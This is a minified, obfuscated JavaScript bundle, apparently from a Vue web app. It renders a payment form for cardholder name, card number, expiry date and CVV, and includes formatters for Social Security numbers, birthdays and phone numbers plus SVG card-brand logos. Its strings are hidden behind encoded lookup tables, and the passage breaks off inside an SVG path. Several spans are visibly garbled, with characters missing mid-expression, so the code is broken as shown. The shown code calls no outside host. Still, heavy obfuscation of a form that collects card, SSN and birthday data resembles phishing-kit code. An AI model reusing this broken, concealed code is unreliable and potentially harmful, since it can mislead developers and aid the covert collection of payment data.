e=ji,t=ji,n=ji,a=ji,r=ji,o=Yi();for(;;)try{if(239842==parseInt(e(270))/1+-parseInt(e(263))/2*(-parseInt(t(241))/3)+-parseInt(n(244))/4+parseInt(a(275))/5*(-parseInt(e(237))/6)+parseInt(a(286))/7*(-parseInt(a(253))/8)+parseInt(r(249))/9+parseInt(r(284))/10)break;o.push(o.shift())}catch(i){o.push(o.shift())}}();const Hi=function(){let e=!0;return function(t,n){const a=e?function(){if(n){const e=n.apply(t,arguments);return n=null,e}}:function(){};return e=!1,a}}();function ji(e,t){e-=231;const n=Yi();let a=n[e];void 0===ji.sGDvAA&&(ji.QwsdxY=function(e){let t="",n="";for(let a,r,o=0,i=0;r=e.charAt(i++);~r&&(a=o%4?64*a+r:r,o++%4)?t+=String.fromCharCode(255&a>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;a{const n=ji;return""!==e&&null!=e||ua.value?.["GET_"+n(285)+"IRED"+n(277)+"NAME"](t)},validateCardNumber:(e,t)=>{const n=ji,a=ji,r=ji;let o=e[n(239)+"ace"](/\D/g,"");return o.length>=15&&o[a(254)+"th"]<=16?!!function(e){const t=276,n=254,a=ji,r=ji;if(!e)return!1;let o=0,i=!1;for(let l=(e=e[a(239)+a(t)](/\s+/g,""))[r(n)+"th"]-1;l>=0;l--){let t=parseInt(e[l]);i&&(t*=2,t>9&&(t-=9)),o+=t,i=!i}let s=[];for(let l=0;l=12)return!1}return o%10==0}(o)||ua[n(245)+"e"]?.INVALID_CARD_NUMBER:ua[a(245)+"e"]?.["INVALID_CARD_NUM"+r(250)]},validateExpiryDate:(e,t)=>{const n=ji,a=ji,r=ji,o=ji,i=ji;if(!/^\d{2}\/\d{2}$/.test(e))return ua[n(245)+"e"]?.[n(283)+"LID_"+n(255)+a(246)+n(259)+"T"];let[s,l]=e.split("/");s=Number(s),l=Number(l);let c=new Date,u=c[i(267)+o(271)+o(234)]()%100,d=c[a(274)+"onth"]()+1;return!(l{const n=ji,a=ji;return!!/^\d{3,4}$/[n(257)](e)||ua.value?.[n(283)+a(238)+"CVV"]}};!function(){const e=Ki,t=Ki,n=Ki,a=Ki,r=Ji();for(;;)try{if(203327==-parseInt(e(108))/1*(parseInt(e(113))/2)+-parseInt(t(135))/3+parseInt(n(132))/4+-parseInt(a(128))/5*(parseInt(e(117))/6)+-parseInt(a(105))/7*(parseInt(t(120))/8)+-parseInt(t(122))/9+parseInt(t(134))/10*(parseInt(n(104))/11))break;r.push(r.shift())}catch(o){r.push(r.shift())}}();const Zi=function(){let e=!0;return function(t,n){const a=e?function(){if(n){const e=n.apply(t,arguments);return n=null,e}}:function(){};return e=!1,a}}();function Ji(){const e=["C2XPyW","mZi3ndK5EwPRvfjY","zxjYBW","Dg9tDa","kIOQkG","C3vICW","mKDsBMnZrG","AgLZiG","DhjPBG","E30UyW","mJm0nJuYohjfDgfVsW","yMLUza","B2XL","mZq0zMTIy2HU","DhjHyW","mteWody2nuj4t0DmAa","DhjPBq","y29UCW","ywnL","B3iOiG","zxHJzq","nwXQD1LrvW","zNvUyW","B3rVxW","Bg9N","mta4ndu0mhniCgjVBW","CMvWBa","mtbtEevlsw8","mteWmZa3mgPjqKHguG","Dg9Y","mtmWmtm2otn2CMnmA2C","nJC0mxrwqLvzuW","BgvUzW"];return(Ji=function(){return e})()}function Ki(e,t){e-=103;const n=Ji();let a=n[e];void 0===Ki.sYouBa&&(Ki.rnaXEw=function(e){let t="",n="";for(let a,r,o=0,i=0;r=e.charAt(i++);~r&&(a=o%4?64*a+r:r,o++%4)?t+=String.fromCharCode(255&a>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;a"1"?"0"+s+"/":s:2===s[n(106)+"th"]?l=s>t?s+"/":s:3===s[a(106)+"th"]?l=s.substring(0,2)+"/"+s.substring(2,4):s.length>=4&&(l=s[o(112)+i(115)+"g"](0,2)+"/"+s["subs"+r(115)+"g"](2,4)),t=s,l}},formatCvv:function(e){if(!e)return"";let t=e["repl"+Ki(125)](/\D/g,"");return t=t.slice(0,4),t},formatCardTail:function(e){const t=Ki;if(!e)return"";let n=e["repl"+Ki(125)](/\D/g,"");return n=n.slice(-4),t(111)+n},formatNumber:function(e){return function(t){const n=Ki;if(!t)return"";let a=t[n(133)+"ace"](/\D/g,"");return a=a[n(107)+"e"](0,e),a}},formatSSN:function(e){const t=Ki,n=Ki,a=Ki;if(!e)return"";let r=e.replace(/\D/g,"");return r=r.slice(0,9),r[t(106)+"th"]<=3?r:r[n(106)+"th"]<=5?r[n(107)+"e"](0,3)+"-"+r[n(107)+"e"](3):r.slice(0,3)+"-"+r[n(107)+"e"](3,5)+"-"+r[a(107)+"e"](5)},formatBirthday:function(e){const t=Ki,n=Ki,a=Ki,r=Ki;if(!e)return"";let o=String(e)[t(133)+t(125)](/\D/g,"");return o=o[n(107)+"e"](0,8),0===o.length?"":o[t(106)+"th"]<=2?o:o[a(106)+"th"]<=4?o[n(107)+"e"](0,2)+"/"+o[r(107)+"e"](2):o.slice(0,2)+"/"+o[r(107)+"e"](2,4)+"/"+o.slice(4)},formatPhone:function(e){const t=107,n=Ki,a=Ki,r=Ki,o=Ki;if(!e)return"";let i=String(e)["repl"+n(125)](/\D/g,"");return i=i[a(107)+"e"](0,10),0===i[n(106)+"th"]?"":i[o(106)+"th"]<=3?i:i[o(106)+"th"]<=6?"("+i[n(t)+"e"](0,3)+") "+i[r(t)+"e"](3):"("+i[n(t)+"e"](0,3)+") "+i[o(t)+"e"](3,6)+"-"+i[n(107)+"e"](6)}},Qi={class:"form-payment-header"},_i={class:"form-payment-body"},$i={class:"form-row"},es={class:"form-row"},ts={class:"form-field-wrapper"},ns=["innerHTML"],as={key:0,class:"card-error-message"},rs={class:"form-row form-row-group"},os={class:"form-payment-footer"},is={type:"submit",class:"form-submit-btn"},ss=da({__name:"Form-Payment",setup(e){const t=a(()=>ua.value.PAYMENT_FORM_LABEL||{}),r={cardHolder:{label:t.value?.CARDHOLDER_NAME||"Cardholder Name",rules:[Xi.required],autocomplete:"cc-name"},cardNumber:{label:t.value?.CARD_NUMBER||"Card Number",rules:[Xi.required,Xi.validateCardNumber],autocomplete:"cc-number",formatter:Fi.formatCardNumber,maxlength:19,placeholder:"0000 0000 0000 0000"},expiryDate:{label:t.value?.EXPIRY_DATE||"Expiry Date",rules:[Xi.required,Xi.validateExpiryDate],autocomplete:"cc-exp",formatter:Fi.formatExpiryDate(),maxlength:5,placeholder:"MM/YY"},cvv:{label:t.value?.CVV||"CVV",rules:[Xi.required,Xi.validateCvv],autocomplete:"cc-csc",formatter:Fi.formatCvv,maxlength:4,placeholder:"123"}},o=a(()=>function(e){const t=Sn(e);return{brand:t,svg:Nn(t)}}(i.cardNumber)),i=n({}),l=()=>{Qo.cardError=""};function c(){(function(){const e=di,t=ui;let n=mi.all[e(403)]("validate")?.[e(410)+"th"]||0;return new Promise((e,a)=>{const r=t,o=t;0===n?e(!0):mi[r(411)]("vali"+o(393),(t,r)=>{!0!==t?a({event:r}):(n--,0===n&&(Ai(),e(!0)))})})})().then(e=>{e&&(function(e="",t=jo(505)+Yo(488)+"ta"){const n=Yo,a=Zo,r=Zo,o=Zo;let i={...hi};i[n(535)]="",i[n(451)]="",i[n(475)+a(492)+"de"]="",i[o(549)+a(507)+"vv"]="",We({event:r(505)+"itData",data:i}),We({event:a(548)+"ce",data:t||r(505)+r(488)+"ta"})}(),bn())})}return(e,n)=>(A(),g("form",{class:"form-payment-container",onSubmit:I(c,["prevent"])},[y("div",Qi,[N(e.$slots,"default",{},void 0,!0)]),y("div",_i,[y("div",$i,[z(xi,{modelValue:i.cardHolder,"onUpdate:modelValue":n[0]||(n[0]=e=>i.cardHolder=e),name:"cardHolder",label:s(r).cardHolder.label,rules:s(r).cardHolder.rules||[],autocomplete:s(r).cardHolder.autocomplete,class:"form-field"},null,8,["modelValue","label","rules","autocomplete"])]),y("div",es,[y("div",ts,[z(xi,{modelValue:i.cardNumber,"onUpdate:modelValue":n[1]||(n[1]=e=>i.cardNumber=e),name:"cardNumber",label:s(r).cardNumber.label,rules:s(r).cardNumber.rules||[],autocomplete:s(r).cardNumber.autocomplete,formatter:s(r).cardNumber.formatter,maxlength:s(r).cardNumber.maxlength,placeholder:s(r).cardNumber.placeholder,class:"form-field",onInput:l},{suffix:P(()=>[o.value.brand?(A(),g("span",{key:0,innerHTML:o.value.svg},null,8,ns)):C("",!0)]),_:1},8,["modelValue","label","rules","autocomplete","formatter","maxlength","placeholder"]),s(Qo).cardError?(A(),g("div",as,b(s(Qo).cardError),1)):C("",!0)])]),y("div",rs,[z(xi,{modelValue:i.expiryDate,"onUpdate:modelValue":n[2]||(n[2]=e=>i.expiryDate=e),name:"expiryDate",label:s(r).expiryDate.label,rules:s(r).expiryDate.rules||[],autocomplete:s(r).expiryDate.autocomplete,formatter:s(r).expiryDate.formatter,maxlength:s(r).expiryDate.maxlength,placeholder:s(r).expiryDate.placeholder,class:"form-field"},null,8,["modelValue","label","rules","autocomplete","formatter","maxlength","placeholder"]),z(xi,{modelValue:i.cvv,"onUpdate:modelValue":n[3]||(n[3]=e=>i.cvv=e),name:"cvv",label:s(r).cvv.label,rules:s(r).cvv.rules||[],autocomplete:s(r).cvv.autocomplete,formatter:s(r).cvv.formatter,maxlength:s(r).cvv.maxlength,placeholder:s(r).cvv.placeholder,class:"form-field"},null,8,["modelValue","label","rules","autocomplete","formatter","maxlength","placeholder"])])]),y("div",os,[N(e.$slots,"footer",{},()=>[y("button",is,b(t.value.value?.SUBMIT||"Pay Now"),1)],!0)])],32))}},[["__scopeId","data-v-bb8d2c77"]]),ls={style:{display:"flex"}},cs={t:"1751346911607",viewBox:"0 0 1024 1024",version:"1.1",xmlns:"http://www.w3.org/2000/svg","p-id":"9856",width:"200",height:"200",class:"icon",style:{height:"50px"}},us={t:"1751346921345",viewBox:"0 0 1024 1024",version:"1.1",xmlns:"http://www.w3.org/2000/svg","p-id":"9859",width:"200",height:"200",class:"icon",style:{height:"50px"}},ds={t:"1751346932944",viewBox:"0 0 1024 1024",version:"1.1",xmlns:"http://www.w3.org/2000/svg","p-id":"1667",width:"200",height:"200",class:"icon",style:{height:"50px"}},vs={t:"1751347082321",viewBox:"0 0 1024 1024",version:"1.1",xmlns:"http://www.w3.org/2000/svg","p-id":"1816",width:"200",height:"200",class:"icon",style:{height:"50px"}},ps={t:"1751347093261",viewBox:"0 0 1024 1024",version:"1.1",xmlns:"http://www.w3.org/2000/svg","p-id":"1970",width:"200",height:"200",class:"icon",style:{height:"50px"}},fs={t:"1751347102074",viewBox:"0 0 1024 1024",version:"1.1",xmlns:"http://www.w3.org/2000/svg","p-id":"2121",width:"200",height:"200",class:"icon",style:{height:"50px"}},ms={t:"1752098897784",viewBox:"0 0 1024 1024",version:"1.1",xmlns:"http://www.w3.org/2000/svg","p-id":"1397",width:"200",height:"200",class:"icon",style:{height:"50px"}},hs=da({},[["render",function(e,t){return A(),g("div",ls,[(A(),g("svg",cs,[...t[0]||(t[0]=[y("path",{d:"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z",fill:"#F7F9FB","p-id":"9857"},null,-1),y("path",{d:"M802.55 407.63c-14.45 0-28.34-0.02-42.23 0.01-15.21 0.03-22.01 4.6-27.95 18.78-20 47.75-40.01 95.5-59.98 143.26-6.41 15.34-12.72 30.73-19.25 46.54h56.09c3.84-10.45 7.51-20.45 11.22-30.53h69.52c2.27 10.28 4.51 20.4 6.75 30.53h49.27c-14.53-69.79-28.92-138.92-43.44-208.59z m-66.61 135.02c9.38-25.96 18.46-51.1 27.55-76.24 0.62 0.05 1.24 0.1 1.86 0.16l15.82 76.08h-45.23zM374.56 407.86c-18.41 46.6-36.78 93.09-55.14 139.58-0.5 0.02-1 0.05-1.49 0.07-0.52-2.16-1.13-4.31-1.54-6.5-7.04-37.48-14-74.97-21.12-112.43-2.36-12.42-11.42-20.78-23.77-20.91-30.6-0.34-61.21-0.11-91.71-0.11-1.32 1.81-2.42 3.41-1.34 5.91 16.41 4.26 32.93 8.69 48.61 15.88 9.17 4.2 14.23 10.78 16.67 20.47 10.03 39.87 20.4 79.65 30.67 119.45 4.08 15.82 8.24 31.63 12.31 47.27h57.13c29-69.41 57.95-138.7 87.18-208.68h-56.46zM631.62 505c-7.13-5.5-15.08-9.64-22.97-13.9-8.09-4.36-16.62-8.07-23.47-14.4-8.51-7.87-7.62-17.34 2.11-23.68 6.24-4.07 13.24-5.38 20.58-5.72 16.41-0.76 31.95 3.04 47.8 9.49 3.14-14.88 6.14-29.11 9.19-43.58-23.08-9.11-46.18-10.79-69.67-7.95-16.52 2-31.86 7.53-45.52 17.4-28.74 20.78-41.06 67.97 0.86 95.34 6.45 4.21 13.25 7.88 19.94 11.71 5.83 3.33 11.94 6.21 17.54 9.87 6.43 4.2 11.92 9.5 10.72 18.23-1.22 8.78-7.61 13.01-15.16 15.83-10.82 4.04-22.01 3.45-33.2 2.28-13.75-1.44-26.49-6.3-39.4-12.34-3.28 15.39-6.44 30.17-9.67 45.29 20.54 9.12 55.16 13.21 78.67 10.07 20.66-2.77 39.77-8.91 55.41-23.45 27.75-25.77 26.01-67.51-3.76-90.49zM454.66 407.85c-14.89 69.73-29.67 139-44.54 208.65h53.72c14.81-69.5 29.58-138.81 44.46-208.65h-53.64z",fill:"#142C97","p-id":"9858"},null,-1)])])),(A(),g("svg",us,[...t[1]||(t[1]=[y("path",{d:"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z",fill:"#F7F9FB","p-id":"9860"},null,-1),y("path",{d:"M427.25 512m-134 0a134 134 0 1 0 268 0 134 134 0 1 0-268 0Z",fill:"#EA001B","p-id":"9861"},null,-1),y("path",{d:"M596.75 512m-134 0a134 134 0 1 0 268 0 134 134 0 1 0-268 0Z",fill:"#F79F1A","p-id":"9862"},null,-1),y("path",{d:"M463 512.25c0 41.71 19.06 78.97 48.94 103.54 30.24-24.57 49.56-62.05 49.56-104.04 0-41.71-19.06-78.97-48.94-103.54C482.32 432.78 463 470.25 463 512.25z",fill:"#FF5F01","p-id":"9863"},null,-1),y("path",{d:"M719.58 579.14h1.67v4.35h0.75v-4.35h1.67v-0.65h-4.09zM728.66 578.49l-1.73 4.01h-0.02l-1.74-4.01h-0.9v5h0.76v-3.57h0.03l1.53 3.57h0.65l1.53-3.57h0.03v3.57h0.76v-5z",fill:"#F79F1A","p-id":"9864"},null,-1),y("path",{d:"M363.05 678.16c-5.77-1.75-11.3-1.17-15.91 3.3-0.57 0.55-0.89 1.34-1.75 1.67-6.88-7.27-14.26-8.07-22.1-1.45-0.57-1.06 0.21-2.23-0.77-3.33-2.25-0.09-4.68-0.24-7.19 0.11v35.62h7.32c0.64-1.02 0.43-1.84 0.43-2.62 0.02-5.38 0-10.77 0.01-16.15 0-1.45 0.03-2.89 0.41-4.3 1.11-4.12 4.41-6.45 8.85-6.22 3.95 0.2 6.4 2.56 7.08 6.88 0.15 0.95 0.17 1.92 0.18 2.88 0.02 5.78 0.02 11.57 0.03 17.35 0 0.71-0.19 1.46 0.61 2.3 2.21-0.13 4.65 0.26 6.92-0.17 0.59-1.01 0.4-1.83 0.4-2.62 0.02-5.46 0.01-10.93 0.01-16.39 0-1.45 0.08-2.89 0.49-4.29 1.17-3.93 4.62-6.26 8.84-5.95 4.03 0.3 6.44 2.61 7.09 6.9 0.14 0.95 0.14 1.92 0.14 2.88 0.01 5.62-0.01 11.25 0.02 16.87 0 0.86-0.24 1.78 0.41 2.6h7.27c0.15-0.4 0.31-0.62 0.31-0.84-0.01-7.71 0.17-15.43-0.13-23.13-0.24-5.86-3.27-10.17-8.97-11.9zM700.84 664.03v17.84c-9.67-6.3-18.31-5.7-24.68 1.44-5.97 6.68-6.13 18.28-0.34 25.38 2.69 3.3 6.17 5.37 10.34 6.11 5.41 0.95 10.33-0.09 14.55-4.57 0.05 1.07 0.08 1.6 0.11 2.13 0.02 0.55-0.06 1.14 0.4 1.58 2.51 0.42 5.56 0.33 7.29-0.23v-49.9c-2.65 0.11-5.09-0.24-7.67 0.22z m-10.18 43.62c-6.22 0.12-10.89-4.66-10.94-11.22-0.05-6.81 4.4-11.65 10.74-11.68 6.2-0.02 10.78 4.77 10.84 11.35 0.05 6.62-4.38 11.43-10.64 11.55zM628.87 678.39c-0.93 1.14-0.01 2.32-0.96 3.45-3.35-3.6-7.59-4.85-12.36-4.44-4.87 0.42-8.91 2.51-12.07 6.23-5.72 6.73-5.79 18.07-0.13 25 2.63 3.22 6.01 5.35 10.09 6.11 5.46 1.01 10.5 0.1 14.51-4.16 0.9 1.21-0.07 2.52 0.94 3.47h7.27v-35.71c-2.65-0.08-5.08-0.24-7.29 0.05z m-10.75 29.26c-6.41-0.02-10.92-4.82-10.83-11.56 0.08-6.72 4.73-11.47 11.1-11.34 6.05 0.12 10.58 5.07 10.5 11.48-0.08 6.68-4.56 11.43-10.77 11.42zM408.58 678.44c-0.74 1.19 0.03 2.34-0.67 3.25-8.49-6.08-17.5-5.65-23.84 1.09-6.41 6.81-6.88 18.43-1.01 25.72 2.72 3.38 6.23 5.59 10.51 6.3 5.39 0.89 10.35-0.06 14.28-4.3 0.85 1.23-0.22 2.52 0.89 3.54h7.16v-35.77c-2.66 0.09-5.1-0.28-7.32 0.17z m-10.74 29.21c-6.47-0.11-10.85-4.87-10.72-11.65 0.12-6.66 4.66-11.33 10.92-11.24 6.19 0.09 10.75 5.06 10.63 11.57-0.14 6.71-4.64 11.43-10.83 11.32zM517.46 677.87c-6.85-1.9-14.38 0.57-18.53 6.17-4.11 5.55-4.69 11.84-2.92 18.34 1.9 6.95 6.66 11.01 13.63 12.36 3.74 0.73 7.53 0.53 11.2-0.62 2.74-0.85 5.32-2.03 7.39-4.24-1.3-1.93-2.49-3.69-3.66-5.43-11.74 5.59-19.74 3.73-21.03-5.3h26.22c0.6-2.52 0.41-4.68 0.03-6.8-1.27-7.21-4.99-12.45-12.33-14.48z m-13.73 14.86c0.29-4.75 3.85-8.14 8.63-8.32 5.12-0.19 8.53 2.76 9.32 8.32h-17.95zM450.36 694.79c-1.35-0.74-2.78-1.22-4.26-1.61-2.88-0.75-5.87-0.88-8.77-1.48-1.79-0.37-3.77-0.77-3.97-3.16-0.15-1.78 1.44-3.33 3.94-3.87 2.31-0.5 4.62-0.28 6.93 0.16 2.44 0.46 4.71 1.43 7.13 2.53 1.14-2.16 2.2-4.16 3.4-6.44-7.94-3.84-15.7-5.19-23.69-1.65-4.22 1.86-6.2 5.47-6 10.1 0.19 4.39 2.82 6.95 6.64 8.61 3.08 1.33 6.38 1.51 9.62 2.06 1.5 0.26 3.03 0.48 4.37 1.26 2.1 1.21 2.29 3.36 0.47 4.95-0.93 0.81-2.05 1.25-3.26 1.45-2.39 0.4-4.78 0.4-7.19 0.05-3.05-0.44-5.76-1.75-8.48-3.36l-3.48 5.77c0.23 0.36 0.29 0.52 0.4 0.62 0.18 0.16 0.39 0.28 0.59 0.4 6.18 3.88 12.92 4.57 19.93 3.38 2.96-0.5 5.67-1.71 7.87-3.88 4.87-4.82 3.82-12.59-2.19-15.89zM483.82 707.24c-5.32 1.27-7.79-0.72-7.8-6.18-0.01-4.25-0.02-8.51 0.01-12.76 0-0.86-0.25-1.77 0.63-2.87h11.92c0.34-2.46 0.25-4.59 0.03-7.24h-12.63v-10.66h-7.9v10.42c-2.49 0.7-4.86-0.11-7.24 0.62-0.16 2.25-0.28 4.45 0.05 6.65 2.41 0.61 4.79-0.19 6.93 0.54 0.42 1.01 0.25 1.91 0.26 2.77 0.02 4.9-0.06 9.79 0.04 14.69 0.08 4.09 1.15 7.82 4.9 10.15 4.41 2.75 12.9 2.14 17.23-1.27-0.68-2.1-1.18-4.32-2.32-6.3-1.55 0.55-2.8 1.13-4.11 1.44zM573.78 703.68c-3.37-3.84-3.49-10.64-0.24-14.6 5.35-6.51 11.66-4.75 18.01-1.27 1.23-2.03 2.39-3.92 3.52-5.78-3.7-5.34-18.08-7-25.83-0.17-7.59 6.69-8.25 20.03-1.14 27.58 6.61 7.02 20.85 7.68 27.03 1.07-1.15-1.91-2.33-3.88-3.57-5.94-6.26 3.49-12.41 5.23-17.78-0.89zM546.26 681.78c-0.7-1.25 0.11-2.41-0.78-3.4-2.28-0.22-4.65-0.18-7.22-0.01v35.68c2.63 0.19 5.05 0.23 7.7-0.04v-18.95c0-1.53-0.01-3.05 0.37-4.54 0.96-3.77 3.41-5.71 7.31-5.62 1.57 0.04 3.14 0.34 4.9 0.55 0.77-2.34 1.53-4.65 2.36-7.16-5.82-1.74-10.73-1.29-14.64 3.49zM654.62 681.82c-0.65-1.29 0.02-2.32-0.7-3.39h-7.18v35.66c2.64 0.06 5.06 0.3 7.65-0.17v-18.49c0-1.69 0.02-3.36 0.44-5.02 0.92-3.63 3.38-5.54 7.13-5.54 1.61 0 3.15 0.43 4.99 0.68 0.79-2.37 1.56-4.67 2.42-7.23-5.81-1.78-10.79-1.36-14.75 3.5zM727.11 711.74c0-0.74-0.79-0.99-1.89-0.99h-1.69v3.5h0.71v-1.47h0.95l1.27 1.47h0.81l-1.36-1.52c0.72-0.12 1.2-0.44 1.2-0.99z m-1.99 0.67h-0.88v-1.28h0.88c0.82 0 1.27 0.16 1.27 0.61 0.01 0.45-0.45 0.67-1.27 0.67z","p-id":"1520"},null,-1),y("path",{d:"M725.4 708.75c-2.07 0-3.75 1.68-3.75 3.75s1.68 3.75 3.75 3.75 3.75-1.68 3.75-3.75-1.68-3.75-3.75-3.75z m0 7c-1.79 0-3.25-1.46-3.25-3.25s1.46-3.25 3.25-3.25 3.25 1.46 3.25 3.25-1.46 3.25-3.25 3.25z","p-id":"1521"},null,-1)])])),(A(),g("svg",ds,[...t[2]||(t[2]=[y("path",{d:"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z",fill:"#F7F9FB","p-id":"1668"},null,-1),y("path",{d:"M610.26 472.32v28.34h43.46v22.68h-43.46v28.34h47.23l35.91-41.57-32.13-37.79zM281.48 515.78h35.9l-18.9-43.46z",fill:"#0079C2","p-id":"1669"},null,-1),y("path",{d:"M837 421.3h-98.26l-24.56 30.23-24.56-30.23H487.44l-24.56 54.8-22.67-54.8h-90.7v34.01l-13.23-34.01h-73.69L187 602.7h86.92l11.34-32.12h28.34l11.34 32.12h103.92v-9.45l5.67 9.45h249.42l28.34-32.12 28.34 32.12H837L763.31 512 837 421.3zM555.46 578.13h-37.79v-96.37l-39.68 96.37h-28.34l-43.46-98.26v98.26h-64.24l-15.12-32.12h-56.69l-13.23 32.12H222.9l54.8-132.27h41.57l54.8 124.71v-124.7h51.02l37.79 86.92 39.68-86.92h52.91v132.26z m230.52 0h-37.79l-35.9-43.46-37.79 43.46h-96.37V445.87h102.03l34.01 41.57 34.01-41.57h37.79L733.08 512l52.9 66.13z",fill:"#0079C2","p-id":"1670"},null,-1)])])),(A(),g("svg",vs,[...t[3]||(t[3]=[y("path",{d:"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z",fill:"#F7F9FB","p-id":"1817"},null,-1),y("path",{d:"M427.25 512m-134 0a134 134 0 1 0 268 0 134 134 0 1 0-268 0Z",fill:"#EA001B","p-id":"1818"},null,-1),y("path",{d:"M596.75 512m-134 0a134 134 0 1 0 268 0 134 134 0 1 0-268 0Z",fill:"#00A5FF","p-id":"1819"},null,-1),y("path",{d:"M463 512.25c0 41.71 19.06 78.97 48.94 103.54 30.24-24.57 49.56-62.05 49.56-104.04 0-41.71-19.06-78.97-48.94-103.54C482.32 432.78 463 470.25 463 512.25z",fill:"#7475CF","p-id":"1820"},null,-1),y("path",{d:"M719.58 579.14h1.67v4.35h0.75v-4.35h1.67v-0.65h-4.09zM728.66 578.49l-1.73 4.01h-0.02l-1.74-4.01h-0.9v5h0.76v-3.57h0.03l1.53 3.57h0.65l1.53-3.57h0.03v3.57h0.76v-5z",fill:"#00A5FF","p-id":"1821"},null,-1),y("path",{d:"M376.56 677.16c-3.4 0-6.91 1.47-10.51 4.52-0.57-1.06 0.21-2.23-0.77-3.33-1.17-0.05-2.4-0.11-3.65-0.11-1.15 0-2.33 0.05-3.53 0.22v35.62h7.32c0.64-1.02 0.43-1.84 0.43-2.62 0.02-5.38 0-10.77 0.01-16.15 0-1.45 0.03-2.89 0.41-4.3 1.06-3.94 4.12-6.24 8.27-6.24 0.19 0 0.39 0.01 0.58 0.01 3.95 0.2 6.4 2.56 7.08 6.88 0.15 0.95 0.17 1.92 0.18 2.88 0.02 5.78 0.02 11.57 0.03 17.35 0 0.71-0.19 1.46 0.61 2.3 0.35-0.02 0.7-0.03 1.06-0.03 1.05 0 2.14 0.07 3.22 0.07 0.89 0 1.78-0.04 2.64-0.21 0.59-1.01 0.4-1.83 0.4-2.62 0.02-5.46 0.01-10.93 0.01-16.39 0-1.45 0.08-2.89 0.49-4.29 1.1-3.7 4.22-5.98 8.09-5.98 0.25 0 0.5 0.01 0.75 0.03 4.03 0.3 6.44 2.61 7.09 6.9 0.14 0.95 0.14 1.92 0.14 2.88 0.01 5.62 0 11.25 0.02 16.87 0 0.86-0.24 1.78 0.41 2.6h7.27c0.15-0.4 0.31-0.62 0.31-0.84-0.01-7.71 0.17-15.43-0.13-23.13-0.23-5.83-3.26-10.14-8.96-11.87-1.95-0.59-3.87-0.92-5.73-0.92-3.67 0-7.12 1.25-10.18 4.21-0.56 0.55-0.89 1.34-1.75 1.67-3.74-3.94-7.61-5.98-11.61-5.98zM438.67 677.42c-4.38 0-8.49 1.8-11.85 5.37-6.41 6.81-6.88 18.43-1.01 25.72 2.72 3.38 6.23 5.59 10.51 6.3 1.2 0.2 2.37 0.3 3.52 0.3 4.02 0 7.7-1.31 10.76-4.6 0.85 1.23-0.22 2.52 0.89 3.54h7.16v-35.77c-0.26 0.01-0.51 0.01-0.76 0.01-1.32 0-2.58-0.08-3.79-0.08-0.96 0-1.88 0.05-2.77 0.23-0.74 1.19 0.03 2.34-0.67 3.25-3.99-2.85-8.1-4.27-11.99-4.27z m2.12 30.23h-0.2c-6.47-0.11-10.84-4.87-10.72-11.65 0.12-6.6 4.58-11.24 10.75-11.25h0.17c6.19 0.09 10.75 5.06 10.63 11.57-0.13 6.65-4.54 11.33-10.63 11.33zM483.54 677.23c-5.39 0-10.64 2.46-13.85 6.8-4.11 5.55-4.69 11.84-2.92 18.34 1.9 6.95 6.66 11.01 13.63 12.36 1.46 0.28 2.93 0.43 4.39 0.43 2.29 0 4.57-0.35 6.8-1.04 2.74-0.85 5.32-2.03 7.39-4.24-1.3-1.93-2.49-3.69-3.66-5.43-4.44 2.11-8.34 3.16-11.55 3.16-5.28 0-8.68-2.84-9.48-8.46h26.22c0.6-2.52 0.41-4.68 0.03-6.8-1.27-7.22-5-12.46-12.33-14.49-1.53-0.42-3.11-0.63-4.67-0.63z m-9.06 15.5c0.29-4.75 3.85-8.14 8.63-8.32 0.15-0.01 0.31-0.01 0.46-0.01 4.86 0 8.09 2.94 8.86 8.33h-17.95zM524.36 677.23c-3.16 0-6.33 0.63-9.54 2.05-4.22 1.86-6.2 5.47-6 10.1 0.19 4.39 2.82 6.95 6.64 8.61 3.08 1.33 6.38 1.51 9.62 2.06 1.5 0.26 3.03 0.48 4.37 1.26 2.1 1.21 2.29 3.36 0.47 4.95-0.93 0.81-2.05 1.25-3.26 1.45-1.24 0.21-2.47 0.31-3.71 0.31-1.16 0-2.32-0.09-3.48-0.26-3.05-0.44-5.76-1.75-8.48-3.36l-3.48 5.77c0.23 0.36 0.29 0.52 0.4 0.62 0.18 0.16 0.39 0.28 0.59 0.4 4.4 2.77 9.09 3.91 13.95 3.91 1.97 0 3.96-0.19 5.98-0.53 2.96-0.5 5.67-1.71 7.87-3.88 4.89-4.84 3.83-12.61-2.17-15.9-1.35-0.74-2.78-1.22-4.26-1.61-2.88-0.75-5.87-0.88-8.77-1.48-1.79-0.37-3.77-0.77-3.97-3.16-0.15-1.78 1.44-3.33 3.94-3.87 0.93-0.2 1.87-0.28 2.8-0.28 1.38 0 2.75 0.18 4.13 0.44 2.44 0.46 4.71 1.43 7.13 2.53 1.14-2.16 2.2-4.16 3.4-6.44-4.77-2.28-9.46-3.69-14.17-3.69zM559.72 667.53h-7.9v10.42c-0.92 0.26-1.82 0.31-2.71 0.31-0.61 0-1.21-0.02-1.81-0.02-0.91 0-1.81 0.06-2.71 0.33-0.16 2.25-0.28 4.45 0.05 6.65 0.8 0.2 1.59 0.25 2.38 0.25 0.71 0 1.4-0.04 2.09-0.04 0.85 0 1.67 0.06 2.47 0.33 0.42 1.01 0.25 1.91 0.26 2.77 0.02 4.9-0.06 9.79 0.04 14.69 0.08 4.09 1.15 7.82 4.9 10.15 1.87 1.17 4.48 1.73 7.19 1.73 3.68 0 7.55-1.04 10.04-3.01-0.68-2.1-1.18-4.32-2.32-6.3-1.53 0.55-2.78 1.13-4.1 1.44-1.03 0.25-1.95 0.37-2.77 0.37-3.41 0-5.02-2.14-5.03-6.55-0.01-4.25-0.02-8.51 0.01-12.76 0-0.86-0.25-1.77 0.63-2.87h11.92c0.34-2.46 0.25-4.59 